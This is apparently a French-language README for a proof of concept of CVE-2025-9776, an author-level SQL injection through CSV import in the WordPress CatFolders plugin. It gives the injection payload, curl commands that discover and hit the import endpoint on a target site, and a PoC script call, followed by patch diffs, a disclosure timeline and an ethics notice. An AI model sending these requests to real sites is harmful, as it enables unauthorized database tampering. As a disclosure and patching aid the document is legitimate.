CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

FolderModel::set_attachments( 
    $new_folder['id'], 
    explode(',', $folder['attachments']), 
    false 
);

'raw' => 'post_id IN (' . $attachmentIds . ')'

id,name,attachments
1,Test Folder,"1) OR 1=1--"

SELECT folder_id FROM wp_catf_folder_posts 
WHERE post_id IN (1) OR 1=1--)

curl -s https://target.site/wp-json | jq -r '.routes | keys[]' | grep '/import-csv$'

id,name,attachments
1,Malicious Folder,"1) OR 1=1--"

NS="/catf/v1"  # Remplacer par l'espace de noms découvert

curl -i \
  -u 'author_user:APPLICATION_PASSWORD' \
  -F "file=@catf_inject.csv;type=text/csv" \
  -X POST "https://target.site/wp-json${NS}/import-csv"

{ "success": true }

SELECT folder_id FROM wp_catf_folder_posts WHERE post_id IN (1) OR 1=1--)

python3 poc/catfolders_sql_poc.py

- FolderModel::set_attachments( $new_folder['id'], explode(',', $folder['attachments']), false );
+ $ids = array_filter( array_map( 'intval', explode(',', $folder['attachments']) ) );
+ if ( ! empty( $ids ) ) {
+     FolderModel::set_attachments( (int) $new_folder['id'], $ids, false );
+ }

  $imgIds = apply_filters( 'catf_attachment_ids_to_folder', $imgIds );
+ $imgIds = array_values( array_filter( array_map( 'intval', (array) $imgIds ) ) );

$placeholders = implode(',', array_fill(0, count($imgIds), '%d'));
$query = $wpdb->prepare(
    "SELECT folder_id FROM {$wpdb->prefix}catf_folder_posts WHERE post_id IN ($placeholders)",
    ...$imgIds
);

CVE-2025-9776/
├── README.md                    # Ce fichier
├── poc/
│   ├── catf_inject.csv         # Charge utile CSV malveillante
│   └── catfolders_sql_poc.py   # Simulation SQLite sécurisée
└── patch/
    └── catfolders_fix.patch    # Correctifs recommandés
## Chronologie

- **Date de découverte :** 2025
- **Notification de l'éditeur :** Divulgation coordonnée via Wordfence
- **Divulgation publique :** 2025
- **Correctif disponible :** Version 2.5.3

## Références

- [Entrée CVE du MITRE](https://www.cve.org/CVERecord?id=CVE-2025-9776)
- [Avis Wordfence Intelligence](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/catfolders/catfolders-tame-your-wordpress-media-library-by-category-252-authenticated-author-sql-injection-via-csv-import)
- [Annuaire des plugins WordPress](https://wordpress.org/plugins/catfolders/)
- [Recherche SnailSploit](https://snailsploit.com)

## Crédits

**Chercheur :** Kai Aizen (SnailSploit)

**Processus de divulgation :** Coordonné via le programme de bug bounty Wordfence

## Considérations éthiques

**⚠️ AVIS IMPORTANT**

Cette preuve de concept est fournie **exclusivement à des fins de recherche défensive et d'éducation**.

### Directives d'utilisation

- ✅ **À FAIRE :** Tester sur vos propres systèmes ou avec une autorisation écrite explicite
- ✅ **À FAIRE :** Utiliser pour la formation et la sensibilisation à la sécurité
- ✅ **À FAIRE :** Mettre en œuvre les correctifs dans votre propre code
- ❌ **À NE PAS FAIRE :** Tester contre des systèmes sans autorisation
- ❌ **À NE PAS FAIRE :** Utiliser à des fins malveillantes
- ❌ **À NE PAS FAIRE :** Exploiter dans des environnements de production

### Avis légal

L'accès non autorisé à des systèmes informatiques est illégal en vertu des lois suivantes :
- Computer Fraud and Abuse Act (CFAA) - États-Unis
- Computer Misuse Act - Royaume-Uni  
- Législations similaires dans d'autres juridictions

**À utiliser à vos propres risques. Les chercheurs et SnailSploit déclinent toute responsabilité en cas d'utilisation abusive de ces informations.**

## Contact

Pour toute question ou information complémentaire sur cette vulnérabilité :
- **Email :** [email protected]
- **LinkedIn :** [linkedin.com/in/kaiaizen](https://linkedin.com/in/kaiaizen)
- **Site Web :** [snailsploit.com](https://snailsploit.com)
- **Organisation :** SnailSploit Security Research

---

**Restez en sécurité et maintenez vos installations WordPress à jour !**

*Dernière mise à jour : 13 octobre 2025*

<!-- snailsploit-backlink:start -->

---

## 📚 Documentation et auteur

L'article complet, la méthodologie et les recherches associées de ce projet se trouvent sur :

**[https://snailsploit.com/security-research/cves/cve-2025-9776/](https://snailsploit.com/security-research/cves/cve-2025-9776/)**

Créé par **Kai Aizen** — chercheur indépendant en sécurité offensive.

[snailsploit.com](https://snailsploit.com) · [Recherche](https://snailsploit.com/research) · [Frameworks](https://snailsploit.com/frameworks) · [GitHub](https://github.com/SnailSploit) · [LinkedIn](https://linkedin.com/in/kaiaizen) · [ResearchGate](https://www.researchgate.net/profile/Kai-Aizen-2) · [X/Twitter](https://x.com/SnailSploit)

> *Même attaque. Substrat différent.*

<!-- snailsploit-backlink:end -->